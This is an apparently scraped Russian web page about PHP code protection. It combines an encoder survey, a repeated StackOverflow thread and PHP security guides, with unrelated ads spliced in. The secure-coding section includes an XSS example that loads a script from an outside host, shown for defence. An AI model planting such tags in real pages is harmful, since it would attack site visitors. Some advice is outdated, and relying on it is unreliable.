Php защита кода: Защита PHP скриптов от копирования — это возможно? / Хабр

Содержание

Защита PHP-скриптов от анализа и модификации

У Вас в браузере заблокирован JavaScript. Разрешите JavaScript для работы сайта!

Все программные продукты для защиты PHP-скриптов подразделяются на две категории: требующие установки на сервер дополнительных модулей и работающие с обычной конфигурацией web-серверов. Первые более надежны в плане безопасности, так как переводят PHP-скрипты из текстового вида в специальный двоичный-код, но требуют доступа к серверу с правами администратора. Вторые могут работать практически на всех хостингах с поддержкой PHP, в том числе и бесплатных, но не представляют большой сложности для взлома. В отдельную подгруппу можно выделить обфускаторы исходного кода, не использующие шифрование или сжатие.

Защиты на уровне сервера:

Zend Encoder / Zend SafeGuard Suite — наиболее популярная коммерческая защита, модули для поддержки Zend обычно установлены на всех платных хостингах. Zend предоставляет привязку скриптов к доменам и ip, установку времени триальной работы скриптов и мощную обфускацию. Поддерживаются все операционные системы. В публичном доступе имеется несколько вариантов утилит для снятия Zend’а, все они представляют собой модифицированный PHP 4-й и 5-й версии. Старые версии Zend’а снимаются без проблем, в последних возникают сложности из-за обфускации исходного кода.

NuSphere NuCoder. Новая, активно развивающаяся коммерческая защита. На уровне собственных API предоставляет взаимодействие с защищаемыми скриптами, поддерживаются операционные системы Windows и Linux. Вследствие малой распространенности не устанавливается на обычных виртуальных хостингах, но вполне может быть установлена пользователями на выделенных серверах. Публичных декодеров нет.

SourceGuardian for PHP. Коммерческая защита, практически не встречается, на вирутальных хостингах не устанавливается. Позволяет устаналивать триальный срок работы скриптов с проверкой даты по внешним серверам точного времени, делать привязку защищаемых скриптов к серверам, ip-адресу, MAC-адресу сетевой карты, причем эти данные используются для расшифровки. Поддерживаются все операционные системы. Публичных декодеров нет.

phpSHIELD. Прототип SourceGuardian for PHP. После слияния двух разработчиков перестал развиваться как самостоятельный продукт. Основной функционал тот же самый, публичных декодеров нет.

ionCube PHP Encoder. Второй по популярности коммерческий продукт для защиты скриптов. После появления публичных декодеров для Zend стал все чаще использоваться и устанавливаться на виртуальных хостингах. Позволяет шифровать не только скрипты, но и шаблоны, xml-документы, изображения, бинарные файлы. Привязывает защищенные файлы к серверам, есть мощный обфускатор, поддерживаются все операционные системы. Публичных декодеров нет, но в некоторых случаях снимается deZender’ом.

PHTML Encoder. Малораспространенная коммерческая система защиты, предоставляет обычный функционал для продуктов такого типа, работает под всеми операционными системами. За отдельную плату можно приобрести исходные коды защиты и модифицировать их под свои нужды. Публичных декодеров нет.

DWebEncoder. Экзотическая защита под Windows, предназначенная для создания скриптовых презентаций и каталогов на компакт-дисках. В установленном виде представляет собой что-то типа самостоятельного web-сервера, на котором исполняются закодированные php-скрипты. Публичных декодеров нет.

PHP Compact. Защита скорее теоретическая, чем практическая. Разрабатывалась на одном из отечественных форумов, но похоже дальше авторских релизов дело не продвинулось. Декодеров нет, впрочем как и защищенных скриптов.

PHPCoder / eAccelerator. Дополнение с открытым кодом к старинным php-акселераторам Turck MMCache и eAccelerator. Переводит скрипты в байт-код с целью повышения скорости их выполнения. Есть версии модулей под Windows и Linux. Публичных декодеров нет, но возможно открытый код проекта как-то поможет в изучении.

Защиты на уровне исходного кода:

PHP LockIt!. Популярная коммерческая защита, встречается очень часто, в основном на скриптах зарубежных разработчиков. Позволяет устанавливать триальный срок работы скриптов, привязку к доменам и ip-адресам, сжимает скрипты штатными средствами php (gzinflate). Единственная сложность — хороший обфускатор. Различные версии защиты отличаются только модификацией модуля распаковки. Легко снимается как в ручном, так и в автоматическом режиме. Без обфускатора снимается в точности до исходного кода, с обфускатором требует дополнительной обработки.

CNCrypto. В свободном доступе нет даже демо-версии, анализ проводился по защищенным скриптам. Навесной модуль сложности в распаковке не представляет, защита держится только на хорошей обфускации исходного кода.

PHPCipher. Защита представляет собой он-лайн сервис. На сайт загружается архив с вашими скриптами и обратно скачивается уже защищенный. Платная лицензия позволяет подписывать защищенные скрипты своими данными и использовать для коммерческих целей. Бесплатная лицензия допускает использование только для личных нужд. Сама защита представляет собой защищенный Zend’ом php-модуль, который подключается к защищенным скриптам. После deZend’а модуля защиты и получения из него всех необходимых констант снимается полностью до исходного кода. Функции обфускатора нет.

ByteRun Protector for PHP. Коммерческий продукт, в зависимости от типа лицензии позволяет защищать скрипты как на уровне сервера, так и на уровне исходного кода. Серверная защита со стандартными возможностями, ничего особенного нет. Защита на уровне скриптов снимается очень легко автоматически и вручную. Публичного декодера на серверную версию нет.

SourceCop PHP Protector. Очень популярная у отечественных разработчиков защита. Представляет собой сильно замусоренный пустым кодом модуль защиты, который подключается через include к защищенным скриптам. Алгоритм декодирования очень простой, не вызывает никаких сложностей в ручном и автоматическом снятии. Во всех случаях снимается полностью до исходного кода, функции обфускатора нет. Есть небольшие особенности для частных случаев декодирования, но здесь они описаны не будут.

CodeLock. Еще одна популярная защита, отличный пример безграмотного программирования. Представляет собой приложение на php, позволяет кодировать как сами скрипты, так и результат их работы в браузере средствами javascript. Скрипты можно защищать паролем, но из-за бездарной реализации пароль легко узнать даже не снимая навесную защиту. Модуль защиты представляет собой замусоренный пустым кодом php-скрипт, который подключается к защищаемым скриптам. Алгоритм защиты очень простой, снимается полностью до исходного кода. Функции обфускации нет.

TrueBug PHP Encoder, с недавнего времени TrueBug PHP Obfuscator & Encoder. Очень интересный протектор для исследования. До версии 1.0.2 использовались стандартные средства php для gzip-компрессии, начиная с версии 1.0.3 авторами был разработан собственный алгоритм сжатия. В новом продукте TrueBug PHP Obfuscator & Encoder добавлена функция обфускации и оптимизации исходного кода. Единственное слабое место защиты — неизменный алгоритм декодирования скриптов, но сам алгоритм меняется для каждой версии защиты. После разбора защиты снимается легко в точности до исходного кода, естественно при условии что не был использован обфускатор.

Zorex PHP CryptZ. Защита, как и CodeLock, представляет собой приложение на php, для его работы требуется база MySQL. Модуль защиты — подключаемый скрипт на php, зашифрованный в несколько слоев. После разбора алгоритма снимается очень легко в точности до исходного кода. Функции обфускатора нет.

Free PHP Encoder. Бесплатный он-лайновый сервис для кодирования php-скриптов. Модуль защиты представляет собой подключаемый php-скрипт, накрытый Zend’ом, который надо скачать с сайта. После снятия Zend’а и разбора алгоритма защита легко снимается полностью до исходного кода. Алгоритм защиты неизменный, функции обфускатора нет.

gencoder. Скрипт на php, кодирование примитивное, стандартный base64. Большего внимания не заслуживает и практического интереса не представляет.

FREE Encrypted PHP. Бесплатный он-лайновый шифровщик файлов, выполняющий привязку к серверу и ограничение по времени работы скрипта. К зашифрованным скриптам подключается модуль расшифровки, накрытый ionCube. После открытия алгоритма расшифровки легко снимается.

Free Online PHP Obfuscator. Бесплатный он-лайновый шифровщик файлов, несмотря на слово «obfuscator» в названии, дополнительно сжимает и шифрует скрипты. Внешняя шифровка сложности в снятии не представляет, основная защита держится на обфускации текстовых строк и имен переменных.

Обфускаторы:

Особого интереса в плане изучения не представляют, все работают по одинаковому принципу: замена названий переменных на набор случайных символов, удаление комментариев, переносов строк и пробелов, использованных для форматирования кода. К ним относятся GridinSoft PHP Processor, Semantic Designs Obfuscator, PHP Defender, Raizlabs PHP Obfuscator, Obfusc, POBS, PHP UnReader, Code Eclipse и другие. По деобфускации различных скриптов есть полезная статья статья.
Для определения чем защищены скрипты можете воспользоваться программой PCL’s PHPiD. По всем вопросам «а где взять декодеры?» и «а как сломать?» обращайтесь к поисковым системам.

Взято здесь: www.manhunter.ru. Автор: ManHunter

Лучшее решение для защиты PHP-кода без шифрования PHP Lang

Прежде всего, я не ищу чуда … Я знаю, как работает PHP, и что на самом деле нет способа скрыть мой код от клиентов, не используя шифрование. Но это связано с затратами на расширение, которое будет установлено на работающем сервере.

Я ищу что-то другое, хотя … Я не хочу шифровать свой код или даже запутывать его. Существует много PHP-скриптов без зашифрованного / обфускационного кода, но они являются коммерческими приложениями. Например, приложения vBulletin и / или IP.Board.

Я просто хочу знать, какой подход эти парни используют для своих приложений …

Я также открыт для любых других предложений.

Обратите внимание, что я один человек и не работаю в компании. Мой продукт также очень специфичен, он не будет так много продавать. Я просто хочу, чтобы вы, ребята, знали, что я не могу позволить себе проконсультироваться с юристом, чтобы подать в суд на кого-то или подготовить коммерческую лицензию. Я просто ищу простой способ защитить свой простой продукт, если это действительно возможно, так или иначе …

Обфускание вещей может привести только к неудобствам ваших законных, законопослушных клиентов, в то время как люди, которые будут разорвать вас, не будут вашими клиентами, платящими за вас. (отредактировал другие мысли об обфускации)

Еще одно предложение по защите вашего программного обеспечения: создать бизнес-модель, в которой код является неполной частью стоимости вашего предложения. Например, продавайте лицензии на продукт вместе с доступом к некоторым данным, которые вы управляете на своем сайте, или лицензируете продукт на модели подписки или при поддержке клиентов.

Разработка EULA является юридическим вопросом, а не вопросом кодирования. Вы можете начать с чтения некоторого текста EULA для продуктов и веб-сайтов, которые вы используете. Вы можете найти интересные подробности!

Создание проприетарной лицензии является весьма гибким и, вероятно, предметом, выходящим за рамки предполагаемого объема StackOverflow, поскольку это не совсем о кодировании.

Некоторые части EULA, которые приходят на ум:

  • Ограничение ответственности, если продукт имеет ошибки или причиняет ущерб.
  • Определение того, как клиент может использовать свое лицензионное программное обеспечение, как долго, на сколько машин, с правами перераспределения или без них и т. Д.
  • Предоставление вам прав на аудит своего сайта, чтобы вы могли обеспечить соблюдение лицензий.
  • Что происходит, если они нарушают лицензионное соглашение, например, они теряют свою привилегию использовать ваше программное обеспечение.

Вы должны обратиться к юристу для подготовки коммерческого лицензионного соглашения.

edit: Если этот проект не может оправдать расходы адвоката, ознакомьтесь с этими ресурсами:

  • « Совет EULA » на joelonsoftware
  • « Как написать лицензионное соглашение с конечным пользователем »

Вы должны учитывать свои цели:

1) Вы пытаетесь запретить людям читать / изменять ваш код? Если да, вам понадобится инструмент обфускации / шифрования. Я использовал Zend Guard с хорошим успехом.

2) Вы пытаетесь предотвратить несанкционированное перераспределение вашего кода? Лицензия EULA / proprietary предоставит вам юридическую силу, чтобы предотвратить это, но на самом деле не остановит ее. Схема ключа / активации позволит вам активно контролировать использование, но может быть удалена, если вы также не зашифруете свой код. Zend Guard также имеет возможности блокировать конкретный сценарий для конкретной машины клиента и / или создавать ограниченные по времени версии кода, если это то, что вы хотите сделать.

Я не знаком с vBulletin и т. П., Но им нужно либо зашифровать / обфускать, либо доверять своим пользователям, чтобы они поступали правильно. В последнем случае у них есть защита от наличия лицензионного соглашения, которое запрещает поведение, которое они считают нежелательным, и правовую систему для защиты от нарушений лицензионного соглашения.

Если вы не готовы или не можете принять законные меры для защиты своего программного обеспечения, и вы не хотите шифровать / обфускации, ваши варианты: a) Отпустите его с помощью EULA, чтобы у вас был законный вариант, если вам это понадобится и надеяться на лучшее, или б) рассмотреть вопрос о том, может ли лицензия с открытым исходным кодом быть более подходящей и просто разрешить перераспределение.

Вы можете использовать компилятор php:

Roadsend

ПМП

Я не смотрел исходный код VBulletin за некоторое время, но способ, которым они занимались в 2003 году, заключался в том, чтобы встроить вызов на свой сервер внутри кода. IIRC, он был на очень длинной строке кода (например, 200-300 + символов долго) и был разбит на несколько конкатенаций строк и т. Д.

Он ничего не сделал «плохо», если вы его пиратствовали – форум все еще работал на 100%. Но IP-адрес вашего сервера был зарегистрирован вместе с другой информацией, и они использовали это для расследования и принятия юридических мер.

Ваш номер лицензии был встроен в этот вызов, чтобы они могли легко отслеживать количество IP-адресов / веб-сайтов, на которых работала данная лицензионная копия.

Если вы не можете создать «облачное приложение», которое вы размещаете самостоятельно, и они получают доступ через Интернет, вы можете посмотреть на создание виртуального устройства с использованием виртуального сервера (из VMWare, Parallels, Sun и т. Д.) И установить «lite «версия Linux на этом. Поместите свой PHP-код в виртуальную среду и установите виртуальную машину на свой сервер. Обязательно создайте способ предотвращения загрузки в корневой каталог. Конечно, это связано с физическим посещением клиента.

Они распространяют свое программное обеспечение под собственной лицензией . Закон защищает их права и не позволяет своим клиентам перераспределять источник, хотя нет реальной проблемы с этим.

Но, как вам хорошо известно, нарушение авторских прав (пиратство) программных продуктов является довольно распространенным явлением .

на мой взгляд, но на всякий случай, если ваша программа php-кода написана для автономной модели … лучшие решения: c) Вы можете обернуть php в контейнер, например Phalanger (.NET). поскольку все знают, что это тесно связано с системой, особенно если ваша программа предназначена для пользователей Windows. вы просто можете создать свой собственный алгоритм защиты на языке программирования Windows, например .NET / VB / C #, или что вы знаете в .NET prog.lang.family.

Единственный способ действительно защитить ваши php-приложения от других – это не передавать исходный код. Если вы отправляете код где-то в Интернете или отправляете его своим клиентам на каком-то носителе, другие люди, кроме того, что у вас есть доступ к коду.

Вы можете добавить уникальный водяной знак для каждой копии вашего кода. Таким образом, вы можете отслеживать утечки обратно на одного клиента. (Но это поможет вам, поскольку код уже находится вне вашего контроля?)

В большинстве случаев я вижу лицензию и, возможно, гарантию. Строка в верхней части сценария, говорящая людям не изменять сценарий, может быть достаточно. Само; когда я нахожу не открытый исходный код, я не буду использовать его в своих проектах. Может быть, я немного обманул, но я ожидаю, что ppl не будет использовать мой код без OSS!

Zend Guard не поддерживает php 5.5 и его легко отменить, перейдите на http://www.ioncube.com для обфускации. http://wwww.phplicengine.com может лицензировать сценарии удаленно или локально.

См. Наш SD PHP Obfuscator . Обрабатывает огромные системы файлов PHP. На сервере PHP нет требований времени выполнения. Никаких дополнительных накладных расходов.

[EDIT май 2016] В недавнем ответе было отмечено, что Zend не обрабатывает PHP5.5. SD PHP Obfuscator делает.

Так что позвольте мне видеть, мы хотим показать адам и канун, есть какой-то запретный плод в дереве, и мы бы хотели, чтобы они не ели …

Как насчет ангела с огненным мечом?

  1. Может показаться наивным, и я не знаю, что делает ваше приложение на самом деле, но как насчет широкого использования?

  2. Для законного пользователя все программное обеспечение должно быть видимым или только его частями? Потому что вы можете запутаться и дать копию исходного кода законным

  3. Вы можете обернуть php в контейнер, например Phalanger (.NET)

  4. Возможно, вас беспокоит внешняя кража, что означает, что ваш код свободно просматривается через Интернет, поскольку клиенты его используют. Это может стоить инвестировать в дешевый хостинг веб-сайтов за 50 долларов в год, регистрируя своих законных клиентов с серийным номером в своем коде и регулярно публикуйте информацию о своем приложении на своем веб-сайте. По крайней мере, вы обнаружите, когда код был взломан. Вы можете надавить на него с саморазрушением через n дней, дав вам достаточно времени, чтобы связаться с вашим клиентом и изменить серийный номер. Это может быть единственный запутанный include () всего кода

Проверенные способы защиты PHP

PHP является одним из самых популярных языков для веб-разработки на данный момент. В результате, хакеры постоянно ищут способы использования PHP сценариев для получения несанкционированного доступа или нанесения ущерба системе. Безопасность PHP кода необходима в любом веб-приложение, которое вы разрабатываете.

Для обеспечения безопасности PHP-приложения существует две основные категории методов защиты кода. Первая категория включает настройку самого интерпретатора PHP через файл php.ini, что оказывает влияние на безопасность приложения в целом. Вторая категория подразумевает использование проверенных методов программирования и написание безопасного кода для предотвращения использования уязвимостей.

Защита PHP с помощью php.ini

В PHP существует целый ряд настроек, которые влияют на безопасность ваших приложений. Этими настройками можно управлять с помощью файла php.ini. Контролируя саму работу PHP, вы снижаете потенциальный ущерб, который могут нанести ошибки.

Запретить Register Globals

До версии 4.2.0, PHP использовал глобальные переменные для предоставления доступа к входным переменным из запросов GET и POST. Эта функция была ликвидирована, поскольку она обеспечивает лазейку в безопасности. Злоумышленники могут использовать его для управления переменными в рамках различных сценариев. Но для обеспечения обратной совместимости PHP позволяет настраивать register_globals в php.ini. Когда эта опция включена, PHP работает в старом режиме и регистрирует глобольные переменные для входных значений. Чтобы обеспечить безопасность PHP, всегда следует выключать эту настройку. Избегайте использования сценариев, которым требуется register_globals, поскольку это обычно является признаком потенциально опасных или редко обновляемых сценариев.

Управление доступом к файлам

PHP-сценарии могут использовать функцию fopen для чтения и записи файлов на файловой системе сервера. Это, конечно, очень нужная возможность. Тем не менее, она также может представлять угрозу безопасности. Ошибка в сценарии PHP может позволить злоумышленнику читать или переписывать системные файлы. К счастью, в PHP есть ряд параметров, которые позволяют контролировать, к каким файлам PHP может получить доступ.

Хотите начать зарабатывать, продвигая свой аккаунт в социальных сетях и используя интернет маркетинг, но не знаете с чего начать? Сайт прайссмм поможет Вам разобраться в таком процессе. Здесь молодой, но достаточно опытный специалист расскажет Вам о том, чего многие до сих пор не знают. Это поможет Вам достаточно быстро поднять рейтинг любой страницы, аккаунта или канала.

Один из вариантов, который можно использовать в php.ini это open_basedir. Данный параметр принимает в качестве значения подкаталог, такой как /home/user/html/. Ввод/вывод интерпретатора ограничивается указанным подкаталогом, что предотвращает чтение и запись файлов за пределами данного подкаталога с помощью PHP.

Вы можете также использовать параметр safe_mode в php.ini для управления доступом к файлам. В безопасном режиме PHP способен открывать только те файлы, которые принадлежат тому же пользователю, что и веб-сервер. Настройка также предотвращает запуск исполнимых файлов с помощью PHP. Если нужно разрешить PHP доступа к файлам, которые принадлежат разным владельцам, можно использовать safe_mode_gid. Параметр ограничивает доступ в PHP только теми файлами, которые принадлежат группе, под которой работает веб-сервер.

Сокрытие PHP

Хотя обеспечения безопасности путем внесения неясности недостаточно для защиты приложения, это усложнит попытки взлома, поскольку хакеры не будут знать, какие технологии вы используете. PHP выдает себя по ряду признаков, среди которых заголовки и подпись Apache. Это можно отключить с помощью expose_php = off в php.ini.

Ещё один признак, который выдает PHP, это отображение ошибок. Ошибки часто включают в себя информацию о путях и других параметрах, которую хакер найдет неоценимой. Сообщения об ошибках являются бесценными в процессе разработки для тестирования и отладки, но они должны быть выключены при введении приложения в эксплуатацию. Вы можете их отключить, установив: display_errors = Off в php.ini. Полезной функцией является запись сообщений об ошибках в лог-файл, которую можно включить, установив: log_errors = On в php.ini.

Наконец, можно настроить Apache для перезаписи URL, чтобы скрыть расширение PHP.

Использование проверенных методов программирования

После обеспечения безопасности PHP настройкой php.ini, необходимо обратить внимание на сам код. Другим методом защиты PHP является хорошая техника программирования. Есть целый ряд проверенных методов программирования, но не меньше методик, которые нужно избегать.

Контроль POST и передачи форм

Подмена форм (form spoofing) является распространенным видом атаки на веб-сайты.. Обычно это делается путем создания POST-запроса и отправки его по URL адресу, указанному в атрибуте action на форме. Чаще всего, подмена бывает безвредной, но раздражающей, например, когда спамеры отправляют спам сценариям, которые обрабатывают форму обратной связи. Тем не менее, подмена формы может быть опасной. Некоторые разработчики считают, что использование раскрывающегося списка на форме может ограничить пользовательский ввод. После этого они не проверяют данные, введенные пользователем, потому что считают, что форма выполнила проверку для них. Это может быть опасно, если кто-то отправит сценарию данные, не используя форму. Переданные данные не будут ограничиваться списком выбора.

Одним из способов защиты от подмены формы является использование одноразовых маркеров. Генерируйте случайные маркеры и храните вместе с сессией. Затем с помощью скрытых полей ввода отправляйте одноразовые маркеры как часть формы. При обработке формы сравните маркер в сессии и маркер на форме. Если они совпадают, обработайте форму, если нет – выведите сообщение об ошибке. После обработке следует удалить маркер из сессии.

Одноразовые маркеры не дают стопроцентной защиты. Даже если вы используете систему маркеров, всегда проверяйте ввод при обработке формы.

Защита баз данных

При работе с базами данных вы не должны использовать динамические SQL операторы, которые основаны на пользовательском вводе. Это создает реальную возможность для злоумышленников направить неправильные данные в базу данных. Иногда вы должны использовать вводимые пользователем данные в запросе SQL. Проверяйте введенные пользователем данные, прежде чем использовать их в запросе. Если база данных MySQL, вы можете использовать функцию mysql_real_escape_string(). Эта функция удалит недопустимые символы, эффективно обрабатывая пользовательский ввод. Если ваш код использует PHP функциональность magic_quotes_gpc, сейчас самое время пересмотреть назначение кода. Использование magic_quotes_gpc будет прекращено в PHP версии 6.

Еще записи по теме

Пишем безопасный код на PHP. Часть 3 | PHP

Опубликовано: 14 сен 2011 в 11:58

Автор: Dave Child  Перевод: freeeeez 

В первой и второй частях я разбирал основные ошибки начинающих программистов PHP. В этой части я постараюсь разобрать вопросы безопасности немного глубже.

Цена безопасности

Прежде чем начать, следует отметить, что на если вы разработали небольшой персональный сайт, который не несет конфиденциальной информации, и регулярно делаете бэкапы, то реальной пользы от расходов на безопасность (здесь я подразумеваю как материальные, так и физические ресурсы) для вас нет. Даже если злоумышленник взломает ваш сайт, вам наверняка хватит и десяти минут на восстановление данных из резервных копий. С другой стороны, если у вас коммерческий сайт, который обрабатывает платежи и данные ваших клиентов, вопрос безопасности должен быть первым в списке ваших приоритетов.

Длина поля в базе данных

Поля в базе данных всегда имеют определенный тип, и каждый из них имеет определенные пределы. Вы также можете самостоятельно ограничивать длину поля.

Однако, что произойдет, когда пользователь введет в поле больше символов, чем разрешено? В лучшем случае, если у вас отключены сообщения об ошибках, текст просто будет обрезан или не добавиться в базу данных (зависит от типа поля).

Помните, что для взломщика важна любая информация. Он должен знать все слабые места вашего проекта. Поэтому никогда не показывайте сообщения об ошибках на своих сайтах, иначе вы рискуете раскрыть информацию о структуре вашей базы данных и все потерять.

Наивность клиентов

Наивность ваших клиентов тоже является определенного рода риском для безопасности сайта. Я провел эксперимент — зашел на сайт одной компании, нашел имя разработчика сайта и позвонил в IT-отдел. Я представился знакомым того веб-мастера и попросил отправить мне на почту данные для доступа к FTP, якобы для отладки одного модуля. И они согласились без вопросов и колебаний. Страшно. Конечно же я рассказал им, что делаю и попросил более трепетно относиться к вопросам разглашения конфиденциальных данных, но таких компаний еще много.

Я продолжил поиски уязвимостей в интернет-сайтах и обнаружил несколько сайтов с открытой информацией для соединения к базе данных. Я указал на эти проблемы в безопасности администраторам ресурсов. Непонятно почему, но, ни один из тех, кому я писал так и не закрыл подобные ошибки. Такая беспечность меня поражает.

К сожалению, подобные проблемы безопасности не исправишь с помощью кода. Поэтому, если вы являетесь разработчиком сайтов, убедите своих клиентов, что не надо разглашать свои логины/пароли кому попало.

Видеонаблюдение и системы безопасности для офиса или частного дома являются одним из самых главных методов защиты. Сегодня заказать систему видеонаблюдения можно через интернет-магазин «Видеоград» в два клика. Установкой и доставкой займуться профессионалы.

Внедрение кода (Cross-Site Scripting)

В отличие от SQL-инъекций, которые основываются на использовании уязвимостей запросов к базе данных, техника XSS опирается на недостаточной фильтрации форм. Проще говоря, злоумышленники используют текстовые поля для добавления HTML-кода или скриптов на вашу страницу.

Допустим, у вас есть система, которая позволяет пользователям регистрироваться у вас на сайте. Пользователи заполняют форму и создают свою страницу. Однако, кто-то ввел скрипт в поле имени:


Username<script type="text/javascript" src="http://www.website.com/malicious.js"></script>

Теперь любой, кто зайдет на его страницу, будет одновременно загружать вредоносный скрипт с другого сайта.

Это используется для внедрения на сайт клавиатурных шпионов или вставки ссылок на другие сайты. Есть несколько способов избавиться от этой проблемы. Самое лучшее обрабатывать входящие данные функцией htmlspecialchars(). Эта функция заменяет html-теги на их сущности и браузер не встраивает их в код, а отображает как обычный текст. Для удаления тегов существует функция strip_tags(), она удаляет все теги, которые не запрещены.

В совокупности с вышеперечисленным, следует ограничивать набор символов в имени пользователя. За это отвечает функция substr(). А для ограничения ввода только букв и цифр, следует использовать регулярные выражения.

Подробнее про межсайтовый скриптинг читайте в предыдущих статьях.

Последствия от взлома

Предположим, что взлом все-таки произошел. Базы данных были удалены, а конфиденциальные данные скомпрометированы (имена, номера кредитных карт, адреса). Первые что нужно сделать — это немедленно возобновить работу сайта, ведь многие компании за час простоя сайта теряют внушительные суммы.

Далее вы должны выяснить, как злоумышленник ворвался в вашу систему. Проверьте журналы и логи сервера, если у вас есть к ним доступ. Кроме того, не лишним будет анализ хакерских сайтов на предмет обнаружения своего сайта в списке уязвимых.

Естественно, если вы нашли уязвимость, через которую хакер прорвался на ваш сайт, нужно сразу же заняться ее устранением. Целесообразно для этих целей поставить index.html с примерным текстом «Идет профилактика, извините за временные неудобства» и поставить временный редирект на главную. Все это надо делать быстро, ведь хакеры любят выкладывать в своих блогах и на форумах взломанные сайты, поэтому будет не удивительно, что состояться другие взломы.

Виртуальный хостинг

Виртуальный хостинг намного дешевле, чем выделенный хостинг. На нем несколько сайтов размещены на одном сервере. В таком случае безопасность вашего сайта зависит не только от вас, но еще и от вашего хостинг-провайдера. Поэтому перед размещением своего сайта, внимательно изучите отзывы о качестве работы данного хостинга.

Уязвимости виртуального хостинга заключаются в плохо настроенном сервере, который позволить получить доступ к /etc/passwd и httpd.conf любому из сайтов находящихся на том же сервере.

Перед размещением сайта стоит убедиться работает ли сервер в режиме safe_mode. А еще лучше использовать выделенный сервер, если вы занимаетесь коммерческим проектом.

 

4 183 просмотра

Лучшее решение для защиты кода PHP без шифрования — php

Во-первых, я не ищу чуда… Я знаю, как работает PHP и что на самом деле нет способа скрыть мой код от клиентов без использования шифрования. Но это связано со стоимостью расширения, которое должно быть установлено на работающем сервере.

Но я ищу что-то другое… Я не собираюсь шифровать свой код или даже запутывать его. Есть много сценариев PHP без зашифрованного / запутанного кода, но это коммерческие приложения. Например, vBulletin и / или IP.Board приложений форума.

Я просто хочу знать, какой подход используют эти ребята для своих приложений…

Я также открыт для любых других предложений.

Пожалуйста, обратите внимание, что я один человек и не работаю на компанию. Мой продукт также очень специфичен, он не будет продаваться так много. Я просто хочу, чтобы вы знали, ребята, что я не могу позволить себе проконсультироваться с юристом, чтобы подать на кого-то в суд или подготовить коммерческую лицензию. Я просто ищу простой способ защитить свой простой продукт, если это действительно возможно, так или иначе…

php encryption obfuscation
Поделиться Источник Ricardo Amaral     03 декабря 2008 в 02:11

11 Ответов



35

Запутывание вещей может только доставить неудобства вашим законным, законопослушным клиентам, в то время как люди, которые хотели бы вас ограбить, все равно не являются вашими целевыми платежеспособными клиентами. (отредактировал другие мысли об обфускации)

Еще одно предложение для защиты вашего программного обеспечения: создайте бизнес-модель, в которой код является неполной частью стоимости Вашего предложения. Например, продайте лицензии на продукты вместе с доступом к некоторым данным, которыми вы управляете на своем сайте, или лицензируйте продукт по модели подписки или с помощью службы поддержки клиентов.

Проектирование EULA-это юридический вопрос, а не вопрос кодирования. Вы можете начать с чтения некоторого текста EULA для продуктов и веб-сайтов, которые вы используете. Вы можете найти некоторые интересные детали!

Создание проприетарной лицензии является очень гибким и, вероятно, выходит за рамки предполагаемого объема StackOverflow,поскольку речь идет не только о кодировании.

Некоторые части a EULA, которые приходят на ум:

  • Ограничение вашей ответственности, если продукт содержит ошибки или причиняет ущерб.
  • Определение того, как клиент может использовать свое лицензионное программное обеспечение, как долго, на каком количестве машин, с правами на распространение или без них и т. д.
  • Предоставление Вам прав на аудит их сайта, чтобы вы могли принудительно применять лицензии.
  • Что произойдет, если они нарушат EULA, например, они потеряют свои права на использование вашего программного обеспечения.

Вы должны проконсультироваться с юристом, чтобы подготовить коммерческую EULA.

edit: если этот проект не может оправдать расходы на адвоката, проверьте эти ресурсы:

Поделиться Bill Karwin     03 декабря 2008 в 02:20



14

Вам нужно обдумать свои цели:

1) вы пытаетесь помешать людям читать/изменять ваш код? Если да, то вам понадобится инструмент запутывания/шифрования. Я использовал Zend Guard с большим успехом.

2) вы пытаетесь предотвратить несанкционированное распространение вашего кода? ? Лицензионное соглашение / проприетарная лицензия даст вам законную власть предотвратить это, но на самом деле не остановит его. Схема ключа / активации позволит вам активно отслеживать использование, но может быть удалена, если вы также не зашифруете свой код. Zend Guard также имеет возможность заблокировать конкретный скрипт на конкретной клиентской машине и / или создать ограниченные по времени версии кода, если это то, что вы хотите сделать.

Я не знаком с vBulletin и тому подобным, но им нужно либо шифровать/запутывать, либо доверять своим пользователям, чтобы они делали правильные вещи. В последнем случае у них есть защита в виде наличия EULA, которая запрещает поведение, которое они считают нежелательным, и правовая система для поддержки нарушений EULA.

Если вы не готовы / не в состоянии принять законные меры для защиты вашего программного обеспечения, и вы не хотите encrypt/obfuscate,, ваши варианты: а) выпустить его с EULA, чтобы у вас был законный вариант, если он вам когда-нибудь понадобится, и надеяться на лучшее, или б) рассмотреть вопрос о том, может ли лицензия с открытым исходным кодом быть более подходящей и просто разрешить распространение.

Поделиться Jim OHalloran     03 декабря 2008 в 03:04



8

Вы можете использовать компилятор php:

Roadsend

ПМСП

Поделиться grepsedawk     03 декабря 2008 в 02:23



6

Я не смотрел на исходный код VBulletin в течение некоторого времени, но способ, которым они использовали его в 2003 году, заключался в том, чтобы встроить вызов на свой сервер внутри кода. IIRC, он был на очень длинной кодовой строке (например, 200-300 + символов длиной) и был разбит на несколько конкатенаций строк и тому подобное.

Он ничего не сделал «bad», если вы его пиратствовали-форум Все еще работал 100%., но ваш сервер IP был зарегистрирован вместе с другой информацией, и они использовали это для расследования и принятия юридических мер.

Ваш номер лицензии был встроен в этот вызов, поэтому они могли легко отслеживать, на скольких сайтах IPs/работает данная лицензионная копия.

Поделиться Alarion     03 декабря 2008 в 03:08



2

Если вы не можете создать «cloud app», который вы размещаете сами, и они получают доступ через интернет, то вы можете посмотреть на создание виртуального устройства с помощью виртуального сервера (от VMWare, Parallels, Sun и т. д.) и установить на него версию «lite» Linux. Поместите код PHP в виртуальную среду и установите виртуальную машину на их сервере. Обязательно создайте способ предотвращения загрузки в корневой каталог. Конечно, это будет включать в себя физическое посещение клиента самостоятельно.

Поделиться »     17 августа 2009 в 17:59



1

на мой взгляд есть, но только в том случае, если ваша php кодовая программа написана для автономной модели… лучшие решения — это c) вы можете завернуть php в контейнер, такой как Phalanger (.NET). как всем известно, это крепко привязано к системе, особенно если ваша программа предназначена для пользователей windows. вы просто можете сделать свой собственный алгоритм защиты на языке программирования windows, как .NET/VB/C# или все, что вы знаете в .NET prog.lang.family наборах.

Поделиться achy     29 октября 2011 в 17:23



1

Они распространяют свое программное обеспечение под собственной лицензией . Закон защищает их права и не позволяет их клиентам перераспределять источник, хотя на самом деле это не представляет никаких трудностей.

Но, как вы, возможно, хорошо знаете, нарушение авторских прав (пиратство) программных продуктов- довольно распространенное явление .

Поделиться Eran Galperin     03 декабря 2008 в 02:17



0

Смотрите наш SD PHP обфускатор . Обрабатывает огромные системы файлов PHP. Нет требований к времени выполнения на сервере PHP. Никаких дополнительных накладных расходов во время выполнения.

